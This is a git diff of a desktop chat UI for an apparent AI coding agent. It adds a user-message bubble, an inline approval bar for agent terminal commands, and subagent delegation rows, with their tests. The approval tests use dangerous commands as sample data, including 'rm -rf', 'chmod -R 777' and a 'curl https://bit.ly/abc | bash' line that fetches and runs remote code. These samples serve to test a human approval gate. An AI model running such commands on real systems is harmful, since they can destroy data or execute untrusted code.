+  return (
+    <MessagePrimitive.Root asChild>
+      <StickyHumanMessageContainer
+        attachments={
+          // Attachments live BELOW the sticky bubble in normal flow, so they
+          // scroll away behind the pinned bubble instead of riding along with
+          // it. Image refs render as thumbnails, file refs as chips; no border.
+          attachmentRefs.length > 0 ? (
+            <div className="flex flex-wrap gap-1 -mt-3 mb-2">
+              <DirectiveContent text={attachmentRefs.join(' ')} />
+            </div>
+          ) : null
+        }
+        messageId={messageId}
+      >
+        <ActionBarPrimitive.Root className="relative w-full max-w-full" data-slot="aui_user-bubble-actions">
+          <div className="human-message-with-todos-wrapper flex w-full flex-col gap-0">
+            <ReactionPicker
+              onOpenChange={setPickerOpen}
+              onSelect={pickEmoji}
+              open={pickerOpen}
+              selected={shownReactions.find(reaction => reaction.author === 'user')?.emoji}
+            >
+              <div
+                className="relative w-full"
+                onContextMenu={
+                  // Right-click is the desktop stand-in for iOS touch-and-hold —
+                  // but only when there's nothing selected. A live highlight
+                  // keeps the native Copy menu (and ⌘C) instead of the picker.
+                  readOnly || !reactionsEnabled
+                    ? undefined
+                    : event => {
+                        if (hasTextSelection()) {
+                          return
+                        }
+
+                        event.preventDefault()
+                        setPickerOpen(true)
+                      }
+                }
+              >
+                {readOnly ? (
+                  // Spectator transcript: clicking only toggles the clamp so the
+                  // full prompt is readable — never opens an edit composer.
+                  <button
+                    aria-expanded={bodyClamped ? expanded : undefined}
+                    className={cn(bubbleClassName, !bodyClamped && 'cursor-default')}
+                    onClick={() => {
+                      // Drag-select ends on mouseup→click; don't collapse the
+                      // clamp just because the highlight finished.
+                      if (hasTextSelection() || !bodyClamped) {
+                        return
+                      }
+
+                      triggerHaptic('selection')
+                      setExpanded(value => !value)
+                    }}
+                    title={bodyClamped ? (expanded ? t.common.collapse : copy.expandMessage) : undefined}
+                    type="button"
+                  >
+                    {bubbleContent}
+                  </button>
+                ) : (
+                  // Always editable — clicking opens the edit composer even while a
+                  // turn streams; sending the edit reverts (interrupt + rewind).
+                  // A live text highlight wins: finishing a drag-select must not
+                  // open the editor and throw the selection away.
+                  <ActionBarPrimitive.Edit asChild>
+                    <button
+                      aria-label={copy.editMessage}
+                      className={bubbleClassName}
+                      onClick={event => {
+                        if (hasTextSelection()) {
+                          event.preventDefault()
+                          event.stopPropagation()
+
+                          return
+                        }
+
+                        triggerHaptic('selection')
+                      }}
+                      onPointerDown={() => {
+                        if (hasTextSelection()) {
+                          return
+                        }
+
+                        notifyThreadEditOpen()
+                      }}
+                      title={copy.editMessage}
+                      type="button"
+                    >
+                      {bubbleContent}
+                    </button>
+                  </ActionBarPrimitive.Edit>
+                )}
+                {(showStop || showRestore) && (
+                  <div className="pointer-events-none absolute right-2 bottom-2 z-10 flex items-center justify-center opacity-0 transition-opacity group-hover/user-message:opacity-100 group-focus-within/user-message:opacity-100">
+                    {showStop ? (
+                      <button
+                        aria-label={copy.stop}
+                        className={cn('pointer-events-auto size-5', USER_ACTION_ICON_BUTTON_CLASS)}
+                        onClick={event => {
+                          event.preventDefault()
+                          event.stopPropagation()
+                          void onCancel?.()
+                        }}
+                        title={copy.stop}
+                        type="button"
+                      >
+                        {StopGlyph}
+                      </button>
+                    ) : (
+                      <button
+                        aria-label={copy.restoreCheckpoint}
+                        className={cn('pointer-events-auto size-6', USER_ACTION_ICON_BUTTON_CLASS)}
+                        onClick={event => {
+                          event.preventDefault()
+                          event.stopPropagation()
+                          triggerHaptic('selection')
+                          onRequestRestoreConfirm?.(messageId, {
+                            text: messageText,
+                            userOrdinal: runtimeUserOrdinal
+                          })
+                        }}
+                        onPointerDown={event => {
+                          event.preventDefault()
+                          event.stopPropagation()
+                        }}
+                        title={copy.restoreFromHere}
+                        type="button"
+                      >
+                        <Codicon name="discard" size="0.875rem" />
+                      </button>
+                    )}
+                  </div>
+                )}
+              </div>
+            </ReactionPicker>
+            {/* Below the bubble, same register as the assistant action row:
+                same emoji size, same vertical padding, right-aligned to the
+                sent bubble. Overlaying the corner read badly in practice. */}
+            <ReactionBadge
+              className="justify-end gap-1.5 py-1.5 pr-1.5"
+              onRetract={() => react(null)}
+              reactions={shownReactions}
+            />
+            <BranchPickerPrimitive.Root
+              className={cn(
+                'checkpoint-container flex items-center gap-1 pb-0 pt-1 pl-1.5 text-[0.75rem] leading-none text-(--ui-text-tertiary)',
+                readOnly && 'hidden'
+              )}
+              hideWhenSingleBranch
+            >
+              <span aria-hidden className="checkpoint-icon size-1.5 rounded-full border border-current" />
+              <BranchPickerPrimitive.Previous
+                className="checkpoint-restore-text rounded-sm bg-transparent px-1 opacity-65 hover:opacity-100 disabled:hidden disabled:cursor-default"
+                title={copy.restorePrevious}
+              >
+                {copy.restoreCheckpoint}
+              </BranchPickerPrimitive.Previous>
+              <span className="checkpoint-divider opacity-55">
+                <BranchPickerPrimitive.Number />/<BranchPickerPrimitive.Count />
+              </span>
+              <BranchPickerPrimitive.Next
+                className="checkpoint-restore-text rounded-sm bg-transparent px-1 opacity-65 hover:opacity-100 disabled:hidden disabled:cursor-default"
+                title={copy.restoreNext}
+              >
+                {copy.goForward}
+              </BranchPickerPrimitive.Next>
+            </BranchPickerPrimitive.Root>
+          </div>
+        </ActionBarPrimitive.Root>
+      </StickyHumanMessageContainer>
+    </MessagePrimitive.Root>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/tool/approval.test.tsx b/ui-desktop/src/components/assistant-ui/tool/approval.test.tsx
new file mode 100644
index 000000000..df5cb8af3
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/approval.test.tsx
@@ -0,0 +1,183 @@
+import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react'
+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import { $gateway } from '@/store/gateway'
+import { $approvalRequest, clearAllPrompts, setApprovalRequest } from '@/store/prompts'
+import { $activeSessionId } from '@/store/session'
+
+import { PendingApprovalFallback, PendingToolApproval } from './approval'
+import type { ToolPart } from './fallback-model'
+
+// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
+// doesn't implement; stub them so the menu can open in tests.
+beforeAll(() => {
+  const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>
+
+  const stubs: Record<string, () => unknown> = {
+    hasPointerCapture: () => false,
+    releasePointerCapture: () => undefined,
+    scrollIntoView: () => undefined,
+    setPointerCapture: () => undefined
+  }
+
+  for (const [name, fn] of Object.entries(stubs)) {
+    proto[name] ??= fn
+  }
+})
+
+function part(toolName: string): ToolPart {
+  return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
+}
+
+function setRequest(
+  command = 'rm -rf /tmp/x',
+  allowPermanent?: boolean,
+  extra: { choices?: string[]; smartDenied?: boolean } = {}
+) {
+  $activeSessionId.set('sess-1')
+  setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1', ...extra })
+}
+
+function mockGateway() {
+  const request = vi.fn().mockResolvedValue({ resolved: true })
+  $gateway.set({ request } as unknown as ClawCodexGateway)
+
+  return request
+}
+
+afterEach(() => {
+  cleanup()
+  clearAllPrompts()
+  $activeSessionId.set(null)
+  $gateway.set(null)
+})
+
+describe('PendingToolApproval', () => {
+  it('renders nothing when there is no pending approval', () => {
+    const { container } = render(<PendingToolApproval part={part('terminal')} />)
+
+    expect(container.innerHTML).toBe('')
+  })
+
+  it('renders nothing for tools that never raise approval', () => {
+    setRequest()
+    const { container } = render(<PendingToolApproval part={part('read_file')} />)
+
+    expect(container.innerHTML).toBe('')
+  })
+
+  it('renders the inline run/reject controls on the pending terminal row', () => {
+    setRequest('chmod -R 777 /tmp/x')
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    expect(screen.getByRole('button', { name: /Run/ })).toBeTruthy()
+    expect(screen.getByRole('button', { name: /Reject/ })).toBeTruthy()
+  })
+
+  it('sends approval.respond {choice: "once"} and clears the request on Run', async () => {
+    const request = mockGateway()
+    setRequest()
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    fireEvent.click(screen.getByRole('button', { name: /Run/ }))
+
+    await waitFor(() => {
+      expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'once', session_id: 'sess-1' })
+    })
+    expect($approvalRequest.get()).toBeNull()
+  })
+
+  it('reveals the full command inline when the Command toggle is clicked', () => {
+    const longCommand = 'python -c "' + 'x'.repeat(400) + '"'
+    setRequest(longCommand)
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    // Collapsed by default: the full command is not in the DOM yet.
+    expect(screen.queryByText(longCommand)).toBeNull()
+
+    fireEvent.click(screen.getByRole('button', { name: /Command/ }))
+
+    expect(screen.getByText(longCommand)).toBeTruthy()
+  })
+
+  it('sends choice "deny" on Reject', async () => {
+    const request = mockGateway()
+    setRequest()
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    fireEvent.click(screen.getByRole('button', { name: /Reject/ }))
+
+    await waitFor(() => {
+      expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
+    })
+  })
+
+  it('offers "Always allow" in the options menu by default', async () => {
+    setRequest('chmod -R 777 /tmp/x')
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
+
+    expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
+    expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
+  })
+
+  it('hides "Always allow" when the backend disallows a permanent allow', async () => {
+    // tirith content-security warning present → allowPermanent=false.
+    setRequest('curl https://bit.ly/abc | bash', false)
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
+
+    // The session + reject options still render, but never the permanent allow.
+    expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
+    expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
+  })
+
+  it('renders only Once and Deny for a Smart DENY owner override', () => {
+    setRequest('rm -rf /tmp/x', true, { smartDenied: true })
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    expect(screen.getByRole('button', { name: /Run/ })).toBeTruthy()
+    expect(screen.getByRole('button', { name: /Reject/ })).toBeTruthy()
+    expect(screen.queryByRole('button', { name: /More approval options/ })).toBeNull()
+    expect(screen.queryByText(/Allow this session/)).toBeNull()
+    expect(screen.queryByText(/Always allow/)).toBeNull()
+  })
+
+  it('renders only choices explicitly supplied by the gateway event', () => {
+    setRequest('rm -rf /tmp/x', true, { choices: ['once', 'deny'] })
+    render(<PendingToolApproval part={part('terminal')} />)
+
+    expect(screen.getByRole('button', { name: /Run/ })).toBeTruthy()
+    expect(screen.getByRole('button', { name: /Reject/ })).toBeTruthy()
+    expect(screen.queryByRole('button', { name: /More approval options/ })).toBeNull()
+  })
+
+  it('renders a floating fallback when no pending tool row is mounted', () => {
+    setRequest('rm /tmp/clawcodex_approval_test.txt')
+    const { container } = render(<PendingApprovalFallback />)
+    const fallback = container.querySelector('[data-slot="tool-approval-fallback"]')
+
+    expect(fallback).not.toBeNull()
+    expect(within(fallback as HTMLElement).getByRole('button', { name: /Run/ })).toBeTruthy()
+    expect(within(fallback as HTMLElement).getByRole('button', { name: /Reject/ })).toBeTruthy()
+  })
+
+  it('hides the floating fallback once the inline approval bar is mounted', async () => {
+    setRequest('rm /tmp/clawcodex_approval_test.txt')
+
+    const { container } = render(
+      <>
+        <PendingToolApproval part={part('terminal')} />
+        <PendingApprovalFallback />
+      </>
+    )
+
+    await waitFor(() => {
+      expect(container.querySelector('[data-slot="tool-approval-inline"]')).not.toBeNull()
+      expect(container.querySelector('[data-slot="tool-approval-fallback"]')).toBeNull()
+    })
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/tool/approval.tsx b/ui-desktop/src/components/assistant-ui/tool/approval.tsx
new file mode 100644
index 000000000..1ba3ce8a1
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/approval.tsx
@@ -0,0 +1,300 @@
+'use client'
+
+import { useStore } from '@nanostores/react'
+import { type FC, useCallback, useEffect, useMemo, useState } from 'react'
+
+import { useSessionView } from '@/app/chat/session-view'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle
+} from '@/components/ui/dialog'
+import { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger } from '@/components/ui/dropdown-menu'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { AlertCircle, ChevronDown, Loader2 } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { $gateway } from '@/store/gateway'
+import { notifyError } from '@/store/notifications'
+import {
+  type ApprovalRequest,
+  clearApprovalRequest,
+  registerApprovalInlineAnchor,
+  sessionApprovalInlineVisible,
+  sessionApprovalRequest
+} from '@/store/prompts'
+
+import type { ToolPart } from './fallback-model'
+
+// Inline approval control. Rendered as a compact button strip
+// under the pending tool row that raised the approval (the row already shows
+// the command, so the strip deliberately doesn't repeat it) instead of as a
+// modal overlay.
+//
+// Binding is POSITIONAL, not command-matched: the desktop `tool.start` payload
+// carries no structured args (only tool_id/name/context — see
+// tui_gateway/server.py::_on_tool_start), so we cannot join the approval to the
+// row by command string. But `approval.request` only ever fires from the
+// `terminal` / `execute_code` guards and the agent thread blocks on exactly one
+// approval at a time, so the single pending row of those tools IS the row that
+// raised it. The command/description text comes from `$approvalRequest` (the
+// event payload), which is the only place that data reliably exists.
+export const APPROVAL_TOOLS = new Set(['terminal', 'execute_code'])
+
+// Canonical gateway choices (ui-tui/src/components/prompts.tsx).
+type ApprovalChoice = 'once' | 'session' | 'always' | 'deny'
+
+export const PendingToolApproval: FC<{ part: ToolPart }> = ({ part }) => {
+  // The tool row lives in whichever session's transcript rendered it — read
+  // THAT session's approval (works for the primary and every tile).
+  const sessionId = useStore(useSessionView().$runtimeId)
+  const $request = useMemo(() => sessionApprovalRequest(sessionId), [sessionId])
+  const request = useStore($request)
+
+  if (!request || !APPROVAL_TOOLS.has(part.toolName)) {
+    return null
+  }
+
+  return <InlineApprovalBar request={request} />
+}
+
+const InlineApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
+  useEffect(() => registerApprovalInlineAnchor(request.sessionId), [request.sessionId])
+
+  return <ApprovalBar request={request} surface="inline" />
+}
+
+export const PendingApprovalFallback: FC = () => {
+  const { t } = useI18n()
+  const sessionId = useStore(useSessionView().$runtimeId)
+  const $request = useMemo(() => sessionApprovalRequest(sessionId), [sessionId])
+  const $inlineVisible = useMemo(() => sessionApprovalInlineVisible(sessionId), [sessionId])
+  const request = useStore($request)
+  const inlineVisible = useStore($inlineVisible)
+
+  if (!request || inlineVisible) {
+    return null
+  }
+
+  return (
+    <div
+      className="pointer-events-none absolute left-1/2 z-30 w-[calc(100%-2rem)] max-w-2xl -translate-x-1/2"
+      data-slot="tool-approval-fallback"
+      style={{ bottom: 'calc(var(--composer-measured-height) + 0.875rem)' }}
+    >
+      <div className="pointer-events-auto rounded-xl border border-primary/30 bg-(--ui-chat-surface-background) px-3 py-2 shadow-lg backdrop-blur-xl [-webkit-backdrop-filter:blur(1rem)]">
+        <div className="flex min-w-0 items-center gap-2 text-sm text-primary">
+          <AlertCircle className="size-4 shrink-0" />
+          <span className="shrink-0 font-medium">{t.assistant.approval.jumpToApproval}</span>
+          {request.description && (
+            <span className="min-w-0 truncate text-(--ui-text-tertiary)">{request.description}</span>
+          )}
+        </div>
+        <ApprovalBar request={request} surface="floating" />
+      </div>
+    </div>
+  )
+}
+
+const isMac = typeof navigator !== 'undefined' && /Mac|iP(hone|ad|od)/.test(navigator.platform)
+
+const ApprovalBar: FC<{ request: ApprovalRequest; surface: 'floating' | 'inline' }> = ({ request, surface }) => {
+  const { t } = useI18n()
+  const copy = t.assistant.approval
+  const gateway = useStore($gateway)
+  const [submitting, setSubmitting] = useState<ApprovalChoice | null>(null)
+  // "Always allow" persists the pattern to ~/.clawcodex/config.yaml permanently, so
+  // it goes through a confirm step rather than firing straight from the menu.
+  const [confirmAlways, setConfirmAlways] = useState(false)
+  // The pending tool row only shows a single truncated line of the command, and
+  // a pending row can't be expanded (no result yet), so the full command was
+  // previously only reachable via the "Always allow" modal. Let the user reveal
+  // it inline instead — "expand, Run" (2 clicks) rather than the modal dance.
+  const [showCommand, setShowCommand] = useState(false)
+  const busy = submitting !== null
+  // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
+  const allowPermanent = request.allowPermanent !== false
+  const choices = request.choices ?? (request.smartDenied ? ['once', 'deny'] : undefined)
+  const allowSession = choices ? choices.includes('session') : true
+  const allowAlways = choices ? choices.includes('always') : allowPermanent
+  const hasMoreOptions = allowSession || allowAlways
+  const hasCommand = request.command.trim().length > 0
+
+  const respond = useCallback(
+    async (choice: ApprovalChoice) => {
+      // Another bar (or the keyboard path) may have already resolved this
+      // approval; the map is the single source of truth, so bail if this
+      // session's request is gone.
+      if (busy || !sessionApprovalRequest(request.sessionId).get()) {
+        return
+      }
+
+      if (!gateway) {
+        notifyError(new Error(copy.gatewayDisconnected), copy.sendFailed)
+
+        return
+      }
+
+      setSubmitting(choice)
+
+      try {
+        await gateway.request<{ resolved?: boolean }>('approval.respond', {
+          choice,
+          session_id: request.sessionId ?? undefined
+        })
+        triggerHaptic(choice === 'deny' ? 'cancel' : 'submit')
+        clearApprovalRequest(request.sessionId)
+      } catch (error) {
+        notifyError(error, copy.sendFailed)
+        setSubmitting(null)
+      }
+    },
+    [busy, copy.gatewayDisconnected, copy.sendFailed, gateway, request.sessionId]
+  )
+
+  // ⌘/Ctrl+Enter → Run, Esc → Reject.
+  // While the confirm dialog is open it owns the keyboard (Esc closes it), so
+  // the strip-level shortcuts stand down to avoid denying the whole approval.
+  useEffect(() => {
+    if (confirmAlways) {
+      return
+    }
+
+    const onKeyDown = (event: KeyboardEvent) => {
+      if (event.key === 'Enter' && (event.metaKey || event.ctrlKey)) {
+        event.preventDefault()
+        void respond('once')
+      } else if (event.key === 'Escape') {
+        event.preventDefault()
+        void respond('deny')
+      }
+    }
+
+    window.addEventListener('keydown', onKeyDown, true)
+
+    return () => window.removeEventListener('keydown', onKeyDown, true)
+  }, [confirmAlways, respond])
+
+  return (
+    <div
+      className={cn(surface === 'inline' ? 'mt-1 ps-5' : 'mt-2')}
+      data-slot={surface === 'inline' ? 'tool-approval-inline' : 'tool-approval-actions'}
+    >
+      <div className="flex items-center gap-2.5">
+        <div className="inline-flex h-6 items-stretch overflow-hidden rounded-md border border-primary/25 bg-primary/10 text-primary">
+          <Button
+            className="h-full gap-1 rounded-none px-2 text-xs font-medium text-primary hover:bg-primary/15 hover:text-primary"
+            disabled={busy}
+            onClick={() => void respond('once')}
+            size="xs"
+            variant="ghost"
+          >
+            {submitting === 'once' ? <Loader2 className="size-3 animate-spin" /> : copy.run}
+            {submitting !== 'once' && <span className="text-[0.625rem] text-primary/60">{isMac ? '⌘⏎' : 'Ctrl⏎'}</span>}
+          </Button>
+          {hasMoreOptions && <span aria-hidden className="w-px self-stretch bg-primary/20" />}
+          {hasMoreOptions && (
+            <DropdownMenu>
+              <DropdownMenuTrigger asChild>
+                <Button
+                  aria-label={copy.moreOptions}
+                  className="h-full w-5 rounded-none px-0 text-primary hover:bg-primary/15 hover:text-primary"
+                  disabled={busy}
+                  size="xs"
+                  variant="ghost"
+                >
+                  <ChevronDown className="size-3" />
+                </Button>
+              </DropdownMenuTrigger>
+              <DropdownMenuContent align="start" className="min-w-44">
+                {allowSession && (
+                  <DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
+                )}
+                {allowAlways && (
+                  <DropdownMenuItem
+                    onSelect={() => {
+                      // Defer one tick so the menu fully unmounts before the dialog
+                      // mounts — otherwise Radix's focus-return races the dialog and
+                      // dismisses it via onInteractOutside.
+                      setTimeout(() => setConfirmAlways(true), 0)
+                    }}
+                  >
+                    {copy.alwaysAllowMenu}
+                  </DropdownMenuItem>
+                )}
+                <DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
+                  {copy.reject}
+                </DropdownMenuItem>
+              </DropdownMenuContent>
+            </DropdownMenu>
+          )}
+        </div>
+
+        <Button
+          className="h-6 gap-1.5 rounded-md px-1.5 text-xs font-normal text-(--ui-text-tertiary) hover:text-foreground"
+          disabled={busy}
+          onClick={() => void respond('deny')}
+          size="xs"
+          variant="ghost"
+        >
+          {submitting === 'deny' ? <Loader2 className="size-3 animate-spin" /> : copy.reject}
+          {submitting !== 'deny' && <span className="text-[0.625rem] opacity-55">Esc</span>}
+        </Button>
+
+        {hasCommand && (
+          <Button
+            aria-expanded={showCommand}
+            className="h-6 gap-1 rounded-md px-1.5 text-xs font-normal text-(--ui-text-tertiary) hover:text-foreground"
+            onClick={() => setShowCommand(value => !value)}
+            size="xs"
+            variant="ghost"
+          >
+            {copy.command}
+            <ChevronDown className={cn('size-3 transition-transform', showCommand && 'rotate-180')} />
+          </Button>
+        )}
+      </div>
+
+      {showCommand && hasCommand && (
+        <pre className="mt-1.5 max-h-40 overflow-auto whitespace-pre-wrap break-words rounded-md border border-(--ui-stroke-tertiary) bg-(--ui-chat-surface-background) px-2.5 py-1.5 font-mono text-xs leading-snug text-foreground">
+          {request.command.trim()}
+        </pre>
+      )}
+
+      <Dialog onOpenChange={setConfirmAlways} open={confirmAlways}>
+        <DialogContent className="max-w-md">
+          <DialogHeader>
+            <DialogTitle>{copy.alwaysTitle}</DialogTitle>
+            <DialogDescription>{copy.alwaysDescription(request.description)}</DialogDescription>
+          </DialogHeader>
+
+          {request.command.trim() && (
+            <pre className="max-h-32 overflow-auto whitespace-pre-wrap break-words rounded-md border border-(--ui-stroke-tertiary) bg-(--ui-chat-surface-background) px-2.5 py-1.5 font-mono text-xs leading-snug text-foreground">
+              {request.command.trim()}
+            </pre>
+          )}
+
+          <DialogFooter>
+            <Button onClick={() => setConfirmAlways(false)} size="sm" variant="ghost">
+              {t.common.cancel}
+            </Button>
+            <Button
+              onClick={() => {
+                setConfirmAlways(false)
+                void respond('always')
+              }}
+              size="sm"
+              variant="destructive"
+            >
+              {copy.alwaysAllow}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/tool/delegate-model.test.ts b/ui-desktop/src/components/assistant-ui/tool/delegate-model.test.ts
new file mode 100644
index 000000000..975ad9062
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/delegate-model.test.ts
@@ -0,0 +1,133 @@
+import { describe, expect, it } from 'vitest'
+
+import type { SubagentProgress } from '@/store/subagents'
+
+import { delegateGoals, delegateRowsFromCall, mergeDelegateRows } from './delegate-model'
+
+const subagent = (overrides: Partial<SubagentProgress>): SubagentProgress => ({
+  filesRead: [],
+  filesWritten: [],
+  goal: 'Research Cursor',
+  id: 'sub-1',
+  parentId: null,
+  startedAt: 0,
+  status: 'running',
+  stream: [],
+  taskCount: 1,
+  taskIndex: 0,
+  updatedAt: 0,
+  ...overrides
+})
+
+describe('delegateGoals', () => {
+  it('reads a batch in task order and a single goal alike', () => {
+    expect(delegateGoals({ tasks: [{ goal: 'A' }, { goal: 'B' }] })).toEqual(['A', 'B'])
+    expect(delegateGoals({ goal: 'Solo' })).toEqual(['Solo'])
+    expect(delegateGoals('{"goal":"Serialized"}')).toEqual(['Serialized'])
+  })
+})
+
+describe('delegateRowsFromCall', () => {
+  it('reads as running before a result and parked once dispatched', () => {
+    const args = { tasks: [{ goal: 'A' }, { goal: 'B' }] }
+
+    expect(delegateRowsFromCall(args, undefined).map(r => r.status)).toEqual(['running', 'running'])
+    expect(delegateRowsFromCall(args, { status: 'dispatched', goals: ['A', 'B'] }).map(r => r.status)).toEqual([
+      'dispatched',
+      'dispatched'
+    ])
+  })
+
+  it('takes status, model and duration from each settled result', () => {
+    const rows = delegateRowsFromCall(
+      { tasks: [{ goal: 'A' }, { goal: 'B' }] },
+      {
+        results: [
+          { status: 'completed', summary: 'found it', model: 'anthropic/claude-opus-5', duration_seconds: 12 },
+          { status: 'failed', summary: 'nope' }
+        ]
+      }
+    )
+
+    expect(rows.map(r => r.status)).toEqual(['completed', 'failed'])
+    expect(rows[0]).toMatchObject({ activity: ['found it'], durationSeconds: 12, model: 'anthropic/claude-opus-5' })
+  })
+
+  it('still lists a background dispatch whose goals only survive in the result', () => {
+    expect(delegateRowsFromCall({}, { status: 'dispatched', goals: ['A', 'B'] }).map(r => r.goal)).toEqual(['A', 'B'])
+  })
+})
+
+describe('mergeDelegateRows', () => {
+  it('joins fallback rows by the tool call id they were keyed with', () => {
+    const rows = delegateRowsFromCall({ tasks: [{ goal: 'A' }, { goal: 'B' }] }, undefined, 'call-7')
+
+    const merged = mergeDelegateRows(
+      rows,
+      [
+        subagent({ id: 'delegate-tool:call-7:1', goal: 'B', status: 'completed' }),
+        subagent({ id: 'delegate-tool:call-7:0', goal: 'A', model: 'gpt-5' })
+      ],
+      'call-7'
+    )
+
+    expect(merged.map(r => r.status)).toEqual(['running', 'completed'])
+    expect(merged[0]!.model).toBe('gpt-5')
+  })
+
+  it('joins native events by goal text and prefers their live state', () => {
+    const rows = delegateRowsFromCall({ tasks: [{ goal: 'Research Cursor' }] }, undefined, 'call-1')
+
+    const merged = mergeDelegateRows(
+      rows,
+      [
+        subagent({
+          goal: 'Research Cursor',
+          model: 'anthropic/claude-opus-5',
+          sessionId: 'child-1',
+          stream: [
+            { at: 1, kind: 'tool', text: 'Read File("a.ts")' },
+            { at: 2, kind: 'progress', text: 'comparing' }
+          ]
+        })
+      ],
+      'call-1'
+    )
+
+    expect(merged[0]).toMatchObject({
+      activity: ['Read File("a.ts")', 'comparing'],
+      model: 'anthropic/claude-opus-5',
+      sessionId: 'child-1',
+      status: 'running'
+    })
+  })
+
+  it('never lets a second delegation claim another call\u2019s workers', () => {
+    const rows = delegateRowsFromCall({ tasks: [{ goal: 'C' }] }, undefined, 'call-2')
+
+    // Two unrelated children in the session, neither matching this call's goal.
+    const merged = mergeDelegateRows(
+      rows,
+      [subagent({ id: 'other-a', goal: 'A' }), subagent({ id: 'other-b', goal: 'B' })],
+      'call-2'
+    )
+
+    expect(merged[0]!.goal).toBe('C')
+    expect(merged[0]!.model).toBeUndefined()
+  })
+
+  it('falls back to task order only when both sides agree on the shape', () => {
+    const rows = delegateRowsFromCall({ tasks: [{ goal: 'A' }, { goal: 'B' }] }, undefined, 'call-3')
+
+    const merged = mergeDelegateRows(
+      rows,
+      [
+        subagent({ id: 'x', goal: 'renamed A', taskIndex: 0, model: 'm0' }),
+        subagent({ id: 'y', goal: 'renamed B', taskIndex: 1, model: 'm1' })
+      ],
+      'call-3'
+    )
+
+    expect(merged.map(r => r.model)).toEqual(['m0', 'm1'])
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/tool/delegate-model.ts b/ui-desktop/src/components/assistant-ui/tool/delegate-model.ts
new file mode 100644
index 000000000..7f1c4b48d
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/tool/delegate-model.ts
@@ -0,0 +1,150 @@
+import { normalize } from '@/lib/text'
+import type { SubagentProgress, SubagentStatus } from '@/store/subagents'
+
+import { firstStringField, numberValue, parseMaybeObject } from './fallback-model'
+
+/**
+ * A delegation runs somewhere the transcript can't see: the tool call carries
+ * the goals it dispatched, the subagent store carries what those children are
+ * actually doing, and the tool result carries how they finished. One row is
+ * all three of those views of the same child.
+ */
+export interface DelegateRow {
+  /** Latest relayed activity, oldest → newest. The card tickers the tail. */
+  activity: string[]
+  durationSeconds?: number
+  goal: string
+  id: string
+  model?: string
+  /** The child's own session id, when it reported one — opens its window. */
+  sessionId?: string
+  status: DelegateRowStatus
+}
+
+/**
+ * `dispatched` is the state the other two sources can't describe: a background
+ * delegation whose children outlived the turn, seen from a transcript that has
+ * been reloaded since. It is running, but nothing here is watching it, so it
+ * must not spin.
+ */
+export type DelegateRowStatus = SubagentStatus | 'dispatched'
+
+const field = (record: Record<string, unknown>, key: string): string => firstStringField(record, [key])
+
+/** The goals a `delegate_task` call dispatched, in task order. */
+export function delegateGoals(args: unknown): string[] {
+  const record = parseMaybeObject(args)
+  const tasks = Array.isArray(record.tasks) ? record.tasks : []
+
+  if (tasks.length > 0) {
+    return tasks.map((task, index) => field(parseMaybeObject(task), 'goal') || `Task ${index + 1}`)
+  }
+
+  const goal = field(record, 'goal')
+
+  return goal ? [goal] : []
+}
+
+function resultRows(result: unknown): Record<string, unknown>[] {
+  const record = parseMaybeObject(result)
+  const results = Array.isArray(record.results) ? record.results : []
+
+  return results.map(parseMaybeObject)
+}
+
+function dispatchedGoals(result: unknown): string[] {
+  const record = parseMaybeObject(result)
+
+  if (field(record, 'status') !== 'dispatched') {
+    return []
+  }
+
+  return Array.isArray(record.goals) ? record.goals.filter((goal): goal is string => typeof goal === 'string') : []
+}
+
+/**
+ * The rows a call describes on its own — before any live subagent state is
+ * layered on. This is what a rehydrated transcript has to work with: the goals
+ * it dispatched, and whatever the result said about how they went.
+ *
+ * A call with no result yet is still being placed, so its rows read as
+ * running; the moment a background dispatch answers, they drop to parked.
+ */
+export function delegateRowsFromCall(args: unknown, result: unknown, toolCallId = ''): DelegateRow[] {
+  const goals = delegateGoals(args)
+  const finished = resultRows(result)
+  const dispatched = dispatchedGoals(result)
+  const titles = goals.length > 0 ? goals : dispatched.length > 0 ? dispatched : finished.map(() => 'Delegated task')
+  const idle: DelegateRowStatus = result === undefined ? 'running' : 'dispatched'
+
+  return titles.map((goal, index) => {
+    const entry = finished[index]
